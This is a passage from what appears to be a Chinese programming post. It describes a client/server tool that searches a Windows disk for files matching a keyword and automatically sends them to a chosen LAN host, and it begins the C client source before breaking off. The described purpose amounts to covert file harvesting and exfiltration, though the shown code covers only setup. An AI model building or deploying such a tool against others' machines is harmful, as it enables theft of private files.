功能:按关键字Key扫描磁盘中包含关键字的文件或者路径包含关键字的文件,扫描结果保存在c盘的dave文件夹中,并自动将扫描到的文件发送到局域网里的任意指定主机
组成:客户端(扫描端)+服务器(接收端)
客户端源代码:
#include<stdio.h>
#include<stdlib.h>
#include <direct.h>
#include<string.h>
#include <WinSock2.h>
#include<Windows.h>
#include<string>
#pragma comment(lib,"Ws2_32")
#define BUF_SZIE 256
int main(int argc,char **argv){
char dirbuf[1024];
char buf[BUF_SZIE];
char loc[]="c:\\temp.dat";
FILE *pf=fopen(loc,"a+");
fseek(pf,0L,SEEK_END);
fpos_t big_file_pos;
fgetpos(pf,&big_file_pos);//保存文件位置
fclose(pf);//调用dir重定向,写文件时,必须先关掉文件
if(bi